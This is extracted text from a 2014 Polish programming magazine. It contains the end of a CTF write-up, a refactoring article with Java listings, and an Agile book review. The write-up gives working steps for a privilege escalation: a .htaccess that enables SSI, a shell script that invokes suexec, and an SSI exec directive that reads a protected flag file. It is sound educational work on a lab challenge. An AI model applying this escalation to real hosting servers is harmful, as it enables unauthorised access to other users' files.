)
return
false
;
return
(
$login
===
"owner"
)
&&
(
hash
(
"sha256"
,
$password
)
===
"72041376c9cf38150e0031e73fa2ec46e92729a172628b4efae9866c82221487"
)
;
}
if
(
isset
(
$_POST
[
"login"
],
$_POST
[
"password"
])
&&
auth
(
$_
POST
[
"login"
],
$_POST
[
"password"
]))
{
echo
file_get_contents
(
"/var/www/your-secure-hosting.local/flag.txt"
)
;
}
?>
Jednak łatwo można było się domyślić, że nie na tym polegała trudność tego za-
dania. Łamanie skrótów haseł nie jest nigdy niczym przyjemnym na zawodach
tego typu, głównie dlatego, że mało istotne staje się doświadczenie i wiedza gra-
cza, a dużą większą rolę odgrywa moc obliczeniowa jego sprzętu. Aby więc dać
wszystkim graczom równe szanse, postanowiliśmy ustawić hasło administratora
reklama
72
/ 6
. 2014 . (25) /
STREFA CTF
na losowy 256-znakowy ciąg znaków – oczywiście, jeśli komuś udałoby się zna-
leźć kolizję i pasujące hasło, to bez wątpienia gracz ten zasługiwałby na nagrodę
w postaci 200 punktów (choć oczywiście znalezienie takiego hasła było równie
prawdodopodobne co trafienie szóstki w Lotto, i to 10 razy pod rząd).
Skrypt PHP, który sprawdzał hasło, posiadał odpowiednie uprawnienia, po-
nieważ był uruchamiany przez proces Apache i dzięki mechanizmowi suPHP
użytkownikiem, na prawach którego wykonywał się interpreter, był „hosting”.
Mając jednak dostęp do konta „letterpress”, nie bylibyśmy w stanie uruchomić
ani suPHP, ani suEXEC. Celowo zakomentowane linie w plikach konfiguracyj-
nych Apache oraz pozostawione wykonywalne pliki o nazwie „php-fcgi-star-
ter” miały naprowadzić graczy na to, że to właśnie suPHP/suEXEC jest słabym
punktem całego systemu. Gdybyśmy byli w stanie uruchomić dowolny plik
użytkownika „hosting”, jako skrypt, PHP moglibyśmy przeczytać flagę - flag.txt
jest w końcu zwykłym plikiem tekstowym. Można się tego domyślić zarówno
po rozszerzeniu, jak i po tym, że do jego wyświetlania używana jest funkcja
file_get_contents. Jeśli więc podamy ten plik do wykonania interpretero-
wi PHP, to otrzymamy jego dokładną zawartość.
EKSPLOITACJA SUPHP/SUEXEC
Podstawowym problemem jest więc uruchomienie suEXEC lub suPHP z po-
ziomu użytkownika „letterpress”. W tym opisie skupimy się głównie na rozwią-
zaniu z wykorzystaniem suEXEC + SSI – tworząc wzorcowe rozwiązanie zada-
nia, spodziewaliśmy się, że to ono będzie najprostsze w implementacji. Jeśli
spojrzymy na źródła suEXEC, możemy się przekonać, że wywołanie skryptu
nie jest bezpośrednio możliwe. Jedynie skonfigurowany przy instalacji użyt-
kownik ma możliwość wydawania poleceń programowi /usr/lib/apache2/
suexec i domyślnie jest nim „www-data”. Pozostając przy pomyśle wykorzy-
stania suEXEC w celu przeczytania flagi, możemy zadać sobie pytanie – w jaki
sposób możemy wykonać komendę z poziomu Apache? Odpowiedź jest roz-
wiązaniem całej zagadki, a z logów, które przeglądaliśmy, to właśnie ten ele-
ment przysporzył graczom najwięcej problemów. Kluczem jest wykorzysta-
nie wewnętrznych mechanizmów serwera Apache. Gdy zbadamy dokładniej
konfigurację virtual hosta, do którego mamy dostęp, zobaczymy, że parametr
„
AllowOverride“ nie jest w ogóle zdefiniowany – oznacza to, że posiada on
domyślną wartość „
All“. Parametr ten jest ustawiany w plikach konfiguracyj-
nych głównie po to, aby niemożliwe było nadpisanie konfiguracji serwera.
Wykorzystując zaistniałą sytuację, możemy stworzyć własny plik .htaccess
i wykorzystać skrypty SSI, które są wykonywane na prawach użytkownika
„www-data”. W przeciwieństwie do suEXEC, które wykonuje wszystkie moż-
liwe dynamiczne operacje z poziomu zdefiniowanego konta systemowego,
moduł suPHP – wykorzystywany przez Apache – odnosi się jedynie do skryp-
tów PHP. Plik .htaccess włączający obsługę SSI może wyglądać następująco:
AddType text/html .shtml
AddOutputFilter INCLUDES .shtml
Options All
Równolegle z dodawaniem pliku .htaccess możemy przygotować w stworzo-
nym katalogu skrypt sample.sh, który będzie instruował suEXEC, w jaki sposób
ma uruchomić plik flag.txt:
#!/bin/sh
export REDIRECT_STATUS="200"
export SCRIPT_FILENAME="/var/www/your-secure-hosting.local/flag.txt"
cd "/var/www/your-secure-hosting.local/"
exec /usr/lib/apache2/suexec-pristine 1001 1001 php-fcgi-starter
Ostatnim elementem po dodaniu .htaccess jest uruchomienie naszego sam-
ple.sh z uprawnieniami użytkownika „www-data”. Możemy to zrobić przez
wspieraną przez SSI komendę
exec:
<!--#exec cmd="/var/www/letterpress.local/htdocs/client-data/
jrepzzo4d033jdxhi1w9bzmfkzr3ahjk/sample.sh" -->
Po otwarciu tak spreparowanego pliku .shtml poznajemy flagę.
ZA KULISAMI
Tworząc zadanie tego typu, mieliśmy na celu zapewnić graczom możliwie reali-
styczne warunki, w których mógłby zaistnieć błąd. Nie było to jednak tak banal-
ne jak mogło się to na początku wydawać, gdyż poza stworzeniem środowiska
odwzorowującego rzeczywisty system musieliśmy zapewnić sobie minimalną
kontrolę nad działaniem systemu i treścią plików hostowanych przez HTTP.
Pierwszy problem, jaki pojawił się podczas testów, to użytkownik, do którego
powinny należeć pliki. Ponieważ użytkownik, na prawach którego wykonywa-
ny był skrypt, musiał być identyczny z właścicielem pliku, to musieliśmy w jakiś
sposób zabezpieczyć się przed próbą modyfikowania strony przez złośliwych
graczy. Na szczęście ten problem udało się rozwiązać w prosty sposób poprzez
dodanie flagi +i (immutable) do każdego pliku i folderu, które powinny pozostać
niezmienione na czas trwania tego zadania. Pozostał jednak problem folderu
„client-data", który nie mógł posiadać flagi immutable ze względu na to, że za-
pisywane do niego były pliki użytkowników. Problem nie był krytyczny, mógł
on sprzyjać jedynie „podejrzeniu” rozwiązanego zadania przez inną osobę.
Mogliśmy poradzić sobie z tym na wiele różnych sposób – myśleliśmy m. in.
o podmianie polecenia chmod – co mogło być bez problemu ominięte przez
wywołanie odpowiedniej funkcji w PHP lub bezpośrednie wywołanie binarne-
go kodu. W grę wchodziło również wykorzystanie patcha na syscall chmod lub
użycie MAC (Mandatory Access Control, np. SELinux) i stworzenie polityki bez-
pieczeństwa, która uniemożliwiałaby poznanie folderów innych użytkowników.
Żaden z tych sposobów nie wydał się nam wystarczająco lekki, aby mógł zostać
zastosowany bez straty w postaci realności zadania, nie chcieliśmy też „celować
do wróbla z armaty”. Dlatego też postanowiliśmy postawić na dosyć nietypowe
zagranie, pozostawić ten problem niezabezpieczony i sprawdzić, czy komukol-
wiek uda się wpaść na pomysł dodania praw +r do folderu user-data, tak aby
był w stanie dostać się do plików innych graczy. Jednak ani w czasie aktywnego
monitorowania zadania, ani po analizie logów nie udało nam się znaleźć żad-
nych dowodów na to, że ktokolwiek próbował dostawać się do plików współ-
graczy. Mają u nas duży plus za uczciwość! :)
PODSUMOWANIE
Ostatecznie warto wspomnieć, że zadanie warte było 200 punktów i rozwiązała
je jedna osoba, gratulujemy! Tym opisem chcielibyśmy również przypomnieć, że
nie zawsze do eskalacji uprawnień na serwerze dochodzi na skutek niskopozio-
mowego błędu jak przepełnienie bufora lub w wyniku sławnych ostatnio sytuacji
wyścigu – czasami, tak jak w przypadku omówionego w tym artykule błędu, prze-
łamanie zabezpieczeń danego środowiska jest możliwe na skutek błędów konfi-
guracyjnych i niewystarczającej wiedzy administratora. Dlatego też niezmiernie
istotne jest, aby w momencie wdrażania konkretnych rozwiązań do środowisk
produkcyjnych być świadomym, jak tak naprawdę one działają i czy na pewno
w odpowiedni sposób określiliśmy, jak mają się one zachowywać.
Rozwiązania zadania web200 zostały nadesłane przez Dragon Sector
– jedną z Polskich drużyn CTFowych.
74
/ 6
. 2014 . (25) /
KLUB LIDERA IT
Mariusz Sieraczkiewicz
TAJEMNICA MISTRZÓW
REFAKTORYZACJI
Zapraszam do zapoznania się z dziesiątą i zarazem ostatnią częścią mojego
artykułu, w całości poświęconego zagadnieniu refaktoryzacji. Będę kontynu-
ował, rozpoczęty w poprzednim numerze, temat tajemnicy mistrzów refak-
toryzacji oraz przedstawię ostateczne wskazówki, które pomogą Ci komplek-
sowo zrozumieć jej istotę i niezbędność we współczesnym programowaniu.
Kierunek wprowadzania interfejsów
Często spotykałem się z sytuacją, kiedy w systemie powstawał interfejs (np.
SecurityManager) oraz jedna implementacja (np. SecurityManager-
Impl). Później nie powstawały nowe implementacje. Nie jest to zbyt dobra
strategia (o ile używana biblioteka lub szkielet aplikacyjny nie wymaga takiej
konstrukcji). Powoduje ona nadmierne mnożenie bytów, a w konsekwencji
zaciemnia strukturę projektu.
Interfejsy warto wyodrębniać dopiero wtedy, kiedy rzeczywiście występuje
więcej niż jedna implementacja.
Inny przykład
Poniżej zamieszczam inną implementację interfejsu
PageIterator, opartą o
inny silnik słownika. Proponuję Ci czytelniku napisanie własnej implementacji
dla wprawy. Najważniejsze, aby realizowała założony interfejs w analogiczny
sposób, jak ma to miejsce w klasie
DictPageIterator.
Listing 1. Implementacja interfejsu PageIterator
<java>
package
pl.bnsit.webdictionary;
import
java.io.BufferedReader;
import
java.io.IOException;
import
java.io.InputStreamReader;
import
java.net.MalformedURLException;
import
java.net.URL;
import
java.util.ArrayList;
import
java.util.Iterator;
import
java.util.List;
import
java.util.regex.Matcher;
import
java.util.regex.Pattern;
public class
OnetPageIterator
implements
PageIterator {
private
BufferedReader bufferedReader =
null;
private
Iterator <String> wordIterator =
null;
public
OnetPageIterator(String wordToFind) {
List <String> words = prepareWordsList(wordToFind);
wordIterator = words.iterator ();
}
Jak całkowicie odmienić sposób pro-
gramowania, używając refaktoryzacji
(część 10)
Większość programistów wie, co to refaktoryzacja, zna zalety wynikające z jej sto-
sowania, zna również konsekwencje zaniedbywania refaktoryzacji. Jednocześnie
wielu programistów uważa, że refaktoryzacja to bardzo kosztowny proces, wyma-
ga wysiłku i brak na nią czasu w szybko zmieniających się warunkach biznesowych.
Zapraszam do kolejnej części artykułu poswięconego zagadnieniu refaktoryzacji.
@Override
public boolean
hasNext () {
return
wordIterator.hasNext ();
}
@Override
public
String next () {
return
wordIterator.next ();
}
private
List <String> prepareWordsList(String wordToFind) {
List <String> result =
new
ArrayList <String>();
String urlString =
"http://portalwiedzy.onet.pl/tlumacz.html?qs="
+ wordToFind +
"&tr=ang - auto &x =0& y=0"
;
try
{
bufferedReader =
new
BufferedReader (
new
InputStreamReader (
new
URL(urlString). openStream ()));
result = extractWords ();
}
catch(
MalformedURLException e) {
throw new
WebDictionaryException (e);
}
catch(
IOException e) {
throw new
WebDictionaryException (e);
}
finally
{
dispose ();
}
return
result;
}
private boolean
hasNextLine(String line) {
return(
line !=
null)
;
}
private
List <String> extractWords () {
List <String> result =
new
ArrayList <String>();
try
{
String line = bufferedReader.readLine ();
Pattern pattern = Pattern
.compile (
".*?<div class = a2b style =\"padding: "
+
"0px 0 1px 0px\">\\s?(<a href=\".*?\">)?"
+
"(.*?)(</a>)? .*?<BR>(.*?)</div>.*?"
);
while(
hasNextLine(line)) {
Matcher matcher = pattern.matcher(line);
while(
matcher.find ()) {
String englishWord
=
new
String(matcher.group(2).getBytes (),
"ISO -8859 -2 "
);
String polishHTMLFragment
=
new
String(matcher.group(4).getBytes (),
"ISO -8859 -2 "
);
List <String> words
= extractTranslation (
englishWord, polishHTMLFragment +
"<BR>"
);
result.addAll(words);
}
line = bufferedReader.readLine ();
}
}
catch(
IOException e) {
throw new
WebDictionaryException (e);
}
75
/ www.programistamag.pl /
JAK CAŁKOWICIE ODMIENIĆ SPOSÓB PROGRAMOWANIA, UŻYWAJĄC REFAKTORYZACJI (CZĘŚĆ 10)
return
result;
}
private
List <String> extractTranslation(String englishWord,
String polishHTMLFragment) {
List <String> result =
new
ArrayList <String>();
attern pattern = Pattern
.compile (
"(<B>\\d+</B>\\s)?(.*?)<BR>"
);
Matcher matcher = pattern.matcher(polishHTMLFragment);
while(
matcher.find ()) {
String polishWord = matcher.group (2);
result.add(polishWord);
result.add(englishWord);
}
return
result;
}
private void
dispose () {
try
{
if(
bufferedReader !=
null)
{
bufferedReader.close ();
}
}
catch(
IOException ex) {
hrow new
WebDictionaryException (ex);
}
}
}
</java>
Strategia skutecznych programistów: Usuwaj
powtórzenia
Powtórzenia w kodzie to źródło wszelkiego zła! Jak drobne nie byłoby to po-
wtórzenie, jest duże prawdopodobieństwo, że prędzej czy później ujawnią się
efekty uboczne. Statystyki oparte na moich własnych obserwacjach prowa-
dzą do wniosku – w około 70% przypadków zastosowanie antywzorca Kopiuj-
-Wklej powoduje powstanie trudnych do wykrycia błędów. Dlatego:
Kiedy widzisz powtórzenie, zastanów się, czy warto zrefaktoryzować kod.
Podobnie jest w klasach
DictPageIterator oraz OnetPageIterator –
metoda
dispose, next, hasNext, hasNextLine, konstruktor, pola klasy są
identyczne lub niemal identyczne i prawdopodobnie w kolejnych implemen-
tacjach również takie będą.
Refaktoryzacja: Wydzielenie klasy
abstrakcyjnej
Można pokusić się o refaktoryzację Wydzielenia klasy abstrakcyjnej – stworzyć
klasę, która będzie zawierać wspólne definicje. Znowu chciałbym zwrócić
uwagę na fakt, iż stworzenie klasy abstrakcyjnej nastąpiło, gdyż pojawiła się
taka potrzeba w trakcie rozwoju aplikacji. Często spotykam się z przypadkami,
kiedy takie klasy tworzone są na „w razie czego”, ,,być może w przyszłości się
przyda'' – niepotrzebnie mnożąc byty. Przykładowy kod znajduje się poniżej.
Listing 2. Przykład wydzielania klasy abstrakcyjnej
<java>
package
pl.bnsit.webdictionary;
import
java.io.BufferedReader;
import
java.io.IOException;
import
java.util.Iterator;
import
java.util.List;
abstract public class
AbstractPageIterator
implements
PageIterator
{
protected
BufferedReader bufferedReader =
null;
protected
Iterator <String> wordIterator =
null;
public
AbstractPageIterator () {
super
();
}
protected void
init (String wordToFind) {
List <String> words = prepareWordsList (wordToFind);
wordIterator = words.iterator ();
}
abstract protected
List <String> prepareWordsList (String
wordToFind);
@Override
public boolean
hasNext () {
return
wordIterator.hasNext ();
}
@Override
public
String next () {
return
wordIterator.next ();
}
protected boolean
hasNextLine (String line) {
return
(line !=
null)
;
}
protected void
dispose () {
try
{
if
(bufferedReader !=
null)
{
bufferedReader.close ();
}
}
catch
(IOException ex) {
throw new
WebDictionaryException (ex);
}
}
}
</java>
Żeby jednak nie produkować nadmiernej ilości kodu źródłowego, nie będę
zamieszczał w artykule kodu źródłowego klas dziedziczących z
Abstract-
PageIterator. Możesz to Czytelniku potraktować jako ćwiczenie.
Najważniejsze odkrycie!
Chciałbym zwrócić twoją uwagę na konstrukcję klasy
AbstractPage-
Iterator. Wydzielona metoda init realizuje pewien algorytm, którego
jednym z kroków jest metoda
prepareWordsList, ta zaś konkretyzuje się
w klasach odziedziczonych z
AbstractPageIterator. Jest to nic inne-
go jak realizacja wzorca
Metody szablonu. Tak! A przecież nic takiego nie
planowaliśmy.
Konsekwentne stosowanie podstawowych technik refaktoryzacji oraz od-
powiedniego rozdzielania odpowiedzialności prowadzi do wzorców pro-
jektowych!
To odkrycie było jednym z najważniejszym przesunięć paradygmatu
1
w moim
życiu programisty. Dotarło do mnie, że duża część wzorców projektowych
objawia się światu, jeśli stosuje się proste zasady refaktoryzacji i wydzielania
odpowiedzialności. Wszystko nagle stało się proste, a zasady programowania
obiektowego nabrały nowego sensu.
Z tą myślą chciałbym Cię czytelniku pozostawić w tym miejscu. Refakto-
ryzacja, wzorce projektowe, testowanie to wspaniałe tematy, które można
eksplorować całe życie. Przez 10 części tego artykułu przebyliśmy drogę po-
przez krainę refaktoryzacji. Jeśli chcesz eksplorować temat głębiej, zachęcam
do dalszej lektury książek źródłowych, uczestnictwa w szkoleniach czy trenin-
gach związanych z tym tematem… i używania w praktyce.
Jeśli raz „zarazisz“ się chorobą zwaną refaktoryzacją, nie ma już później
odwrotu. Gwarantuję, że jest to jedna z najwspanialszych zmian, jaką można
wprowadzić do sposobu programowania.
Mistrzostwo… zobacz, co się zmieniło
Refaktoryzacja to jedna z technik mistrzów – najlepszych programistów. Im
częściej dokonujesz refaktoryzacji, tym staje się to łatwiejsze, tak iż w locie roz-
poznajesz sytuacje, w których możesz stworzyć zrefaktorowane rozwiązanie.
1
Stephen Covey, 7 nawyków skutecznego działania
76
/ 6
. 2014 . (25) /
KLUB LIDERA IT
Żeby odnaleźć różnicę, porównaj implementację końcową z tego artykułu
z początkową, umieszczoną w części pierwszej. W zasadzie obie wersje robią
to samo, w prawie taki sam sposób. Jednak „prawie“ czyni wielką różnicę.
Ten artykuł przedstawił najbardziej użyteczne techniki refaktoryzacji. Owe
20%, które najczęściej się przydaje. Jeśli chcesz dowiedzieć się więcej – na
końcu znajdziesz kilka wskazówek, gdzie szukać dalej.
PRAGMATYZM PRZEDE WSZYSTKIM
W poprzednim rozdziale wspomniałem, nie przez przypadek, że stosowanie
refaktoryzacji jest bardzo zaraźliwe, ale też niesie niebezpieczeństwo nega-
tywnych skutków jej nieodpowiedniego stosowania.
Szczególnie na początku fascynacja refaktoryzacją jest bardzo niebez-
pieczna, choć niezwykle przyjemna. Najchętniej refaktoryzację robiłoby się
na każdym kroku, dążąc do tego, aby program był idealny. Jednak nie o to
chodzi.
Tworzenie oprogramowania polega na tworzeniu najprostszego możliwe-
go kodu, które realizuje założone wymagania.
Przedstawione w tym artykule przykłady miały na celu pokazać sposób
myślenia towarzyszący procesowi refaktoryzacji. Najważniejszy jest kon-
tekst, w jakim powstaje dane rozwiązanie, i to on jest bazą do tego, aby
podjąć decyzję, czy należy zastosować daną refaktoryzację czy nie.
Dlaczego refaktoryzacja nie jest dobra na
wszystko
Tworzenie oprogramowania jest częścią biznesu, który z kolei służy przede
wszystkim wytwarzaniu wartości w sposób efektywny. Dlatego chociażby z
tego punktu widzenia refaktoryzacji należy używać z rozwagą. Jeśli będziemy
stosować ją nieodpowiednio, w pewnym momencie staniemy się całkowicie
nieefektywni. Jednak jedno nie ulega wątpliwości – refaktoryzować trzeba.
Dziesięć przykazań dotyczących
refaktoryzacji
Oto dziesięć przykazań dotyczących refaktoryzacji
2
:
1. Jeśli kod już istnieje, refaktoryzuj, gdy dany fragment przynajmniej dwa, a
najlepiej trzy razy sprawił Ci kłopot, bo był źle napisany.
2. Jeśli kod już istnieje, refaktoryzuj, gdy dany fragment często ulega
zmianom.
3. Jeśli kod piszesz po raz pierwszy, staraj się na bieżąco eliminować zapachy
kodu.
4. Naucz się refaktoryzować w locie – gdy nabierzesz wprawy, wiele refakto-
ryzacji odbędzie się w głowie.
2
brak wiarygodnych danych odnośnie źródła pochodzenia ;-)
5. Refaktoryzuj ewolucyjnie, a nie rewolucyjnie – stosuj metodę Małych kro-
ków, wprowadzaj jak najmniejsze zmiany.
6. Refaktoryzuj regularnie – tylko wtedy efekty prawa wzrostu entropii nie
zdominują Cię.
7. Refaktoryzuj wtedy, gdy masz napisane testy lub jeśli refaktoryzacja jest
automatycznie kontrolowana przez środowisko programistyczne.
8. Przede wszystkim stosuj najprostsze refaktoryzacje: wydzielanie odpowie-
dzialności (wydzielanie klasy, metody lub pola), zmiana nazwy, nazywanie
warunków i dekompozycja algorytmu na składowe.
9. Używaj refaktoryzacji z rozwagą – jeśli widząc kod pierwszy raz na oczy,
chcesz go natychmiast refaktoryzować, bez względu na to, czy będziesz
się nim zajmował czy nie, to oznacza, że jesteś w poważnych kłopotach.
10. Ciesz się tym, co robisz – dzięki refaktoryzacji programowanie jest jeszcze
przyjemniejsze.
I CO DALEJ… – INNE ŹRÓDŁA
Refaktoryzacja to rozległy temat, któremu można poświęcić niemal całe życie.
Poniżej znajduje się kilka wskazówek, gdzie można dalej szukać informacji do-
tyczących tej techniki.
Szkolenia
Moim zdaniem najlepiej napisana książka, artykuł czy materiał video nigdy
nie da tego, co bezpośredni kontakt z doświadczonym trenerem, który prze-
prowadzi przez niuanse technik refaktoryzacji i innych technik obiektowości.
A co najważniejsze, trener odpowie na twoje pytania. Jeśli szukasz sposobu na
to, aby jak najszybciej i jak najlepiej się nauczyć opisywanych technik, zapra-
szamy na szkolenia. Więcej na
.
Trening indywidualny
Jest formą zdobywania umiejętności, która umożliwia pełne dostosowanie spo-
sobu nabywania kompetencji. Trening to indywidualne spotkania online, dzięki
którym razem z trenerem poznasz dokładnie to, czego potrzebujesz, lub bę-
dziesz potrzebował w realizowanych projektach. Więcej na
Źródła
Zdecydowanie dwa najlepsze, bezdyskusyjne źródła zaawansowanej wiedzy:
P Refaktoryzacja. Ulepszanie struktury istniejącego kodu, Martin Fowler
i inni, WNT 2006
P Refaktoryzacja do wzorców projektowych, Joshua Kerievsky, Helion 2005
W sieci
Oczywiście Google twoim zbawieniem. Hasło: refactoring, refaktoryzacja,
refaktoring. Ponadto:
P
– blog utrzymywany przez Martina Fowlera
P
– blog Michała Bartyzela
P
http://msieraczkiewicz.blogspot.com
– mój własny blog
P
– blog Jacka Laskowskiego
Mariusz Sieraczkiewicz
Od ponad ośmiu lat profesjonalnie zajmuje się tworzeniem oprogramowania.
Zdobyte w tym czasie doświadczenie przenosi na pole zawodowe w BNS IT, gdzie
jako trener i konsultant współpracuje z jednymi z najlepszych polskich zespołów
programistycznych. Jego obszary specjalizacji to: zwinne procesy, czysty kod,
architektura, efektywne praktyki inżynierii oprogramowania.
78
/ 6
. 2014 . (25) /
KLUB DOBREJ KSIĄŻKI
Rafał Kocisz
A
gile to grupa metodyk wy-
twarzania oprogramowania,
która cieszy się coraz to więk-
szą popularnością. Agile po polsku
znaczy: zwinny, sprawny, zręczny, co
znajduje odbicie w założeniach, na
których opierają się wspomniane wy-
żej metodologie.
Wydaje się, że zwinne metodyki
wytwarzania oprogramowania sztur-
mem zdobyły rynki zachodnie (nie
pamiętam już, kiedy ostatnio miałem
do czynienia z zagranicznym klien-
tem, który chciałby prowadzić projekt
kaskadowo). W tej sytuacji na usta ciśnie się pytanie: jak wygląda kwestia ich po-
pularności na rynku polskim? Bez przeprowadzenia stosownych badań trudno
to dokładnie stwierdzić. Patrząc jednak na liczbę polskojęzycznych książek i pu-
blikacji nawiązujących do tej tematyki (a także opierając się na moich doświad-
czeniach zawodowych związanych ze współpracą z polskimi klientami), mogę
pokusić się o postawienie tezy, że zainteresowanie metodologiami typu Scrum
czy Kanban nieustannie rośnie również i na naszym, rodzimym podwórku. Bardzo
cieszy mnie fakt, że oprócz tłumaczeń zachodnich książek traktujących o tej te-
matyce pojawiają się również solidne pozycje polskich autorów, przedstawiające
Agile z bliższej nam perspektywy.
Jedną z takich pozycji, którą chciałbym przedstawić dziś w ramach Klu-
bu Dobrej Książki, jest tekst autorstwa Marka Krzemińskiego, zatytułowany
Agile. Szybciej, łatwiej, dokładniej. Lektura ta powstała z myślą o osobach pra-
cujących w branży wytwarzania oprogramowania, które rozpoczynają swoją
przygodę z praktykami programowania zwinnego i w związku z tym planują
wypróbować je w praktyce.
Książka autorstwa pana Marka nie jest szczególnie obszerna, co pozwala
przyswoić ją sobie w stosunkowo krótkim czasie. Tekst napisany jest bardzo
przyjaznym, lekkim i prostym w odbiorze językiem: książkę czyta się łatwo i
przyjemnie. Styl autora przypomina mi nieco teksty Wujka Boba (czyli Roberta
C. Martina, autora takich tytułów jak Mistrz Czystego Kodu czy Czysty Kod oraz
wielu innych książek, a jednocześnie guru w zakresie Zwinności). Co do samej
treści, książka podzielona jest na wstęp, cztery rozdziały właściwe, bibliogra-
fię, załączniki oraz skorowidz. Rzućmy okiem na zawartość rozdziałów.
Rozdział pierwszy (Po co to wszystko? U mnie przecież działa!) to krótka, a
przy tym lekka i zabawna część wprowadzająca, która świetnie spełnia swoją
rolę: w bardzo inteligentny sposób zachęca czytelnika do zagłębienia się w
kolejne rozdziały. Jak to robi? Przeczytaj i przekonaj się sam!
Rozdział drugi (To świetna zabawa!) pokazuje, że spotkanie z Agile nie
musi być wcale nudne i poważne, a wręcz przeciwnie: im więcej jest w tym
zabawy, tym lepiej.
Rozdział trzeci (Pierwszy dzień w szkole). Po dwóch luźnych i krótkich roz-
działach wprowadzających czas na bardziej konkretną treść. W tym rozdziale
czytelnik znajdzie odpowiedzi na takie pytania jak:
» czym jest metodyka zwinnego wytwarzania oprogramowania?
» jakie metodyki zwinnego wytwarzania oprogramowania mamy do
dyspozycji?
» kiedy powinno się wybrać daną metodykę?
» jakie pojawiają się problemy podczas wdrażania zadanej metodyki?
» jakie niesie ona korzyści.
Autor omawia wymienione powyżej kwestie w kontekście trzech najbardziej
popularnych metodyk Agile, jakimi są: Programowanie ekstremalne, Scrum
oraz Kanban.
Rozdział czwarty (Jedziemy z materiałem! - praktykujemy) to przegląd kon-
kretnych elementów ww. metodyk. Rozdział ten jest podzielny na trzy części:
agile dla pierwszaków, starszaków oraz dla „najstarszaków". Czytelnik zapozna
się tutaj z takimi elementami zwinnych metodologii jak:
» codzienne spotkania (ang. daily stand-up),
» historyjki użytkownika,
» tablica zadań,
» praca w cyklach iteracyjnych i planowanie iteracji,
» demonstracja,
» retrospektywy,
» programowanie w parach,
» definicja ukończenia zadań (ang. definition of done),
» lista historyjki użytkownika (ang. product backlog),
» planning poker,
» wykres wypalania iteracji (ang. burn down chart),
» prędkość zespołu (ang. team velocity),
» ciągła integracja,
» programowanie sterowane testami,
» samo-organizujący się zespół.
To, co bardzo pozytywnie uderzyło mnie w omawianej książce, to język: zwię-
zły, jasny i pełen humoru, oraz styl: luźny i bezpośredni. Trzeba jednak w tym
miejscu zdecydowanie podkreślić, iż pomimo prostoty języka na każdym eta-
pie lektury czuje się, że autor jest doświadczonym specjalistą w tematyce, którą
omawia. Inna sprawa to drobne, ale bardzo miłe polskie akcenty w tekście. W
trakcie lektury zagranicznych książek traktujących o tematyce zawodowej nie-
raz zdarzało mi się obserwować nawiązania do kina bądź literatury, zazwyczaj
anglojęzycznej. Zawsze w takich sytuacjach było mi trochę smutno, bo przecież
w polskiej kulturze nie brakuje dzieł literackich czy obrazów, do których warto
nawiązywać. Tym większą radość sprawiły mi cytaty z takich klasyków polskiego
kina jak „Rejs” czy „Wielki Szu” wplecione zgrabnie w treść książki.
Podsumowując: Agile. Szybciej, łatwiej, dokładniej to rewelacyjna pod ką-
tem merytorycznym treść połączona z lekkim, barwnym językiem. Jeśli szu-
kasz solidnego i przystępnego wprowadzenia w tematykę zwinności, to bez
wahania sięgnij po książki autorstwa Marka Krzemińskiego. Nie pożałujesz.
Agile. Szybciej, łatwiej, dokładniej
Agile. Szybciej, łatwiej, dokładniej
Autor: Marek Krzemiński
Stron: 248
Wydawnictwo: Helion
Data wydania: 2014/04/23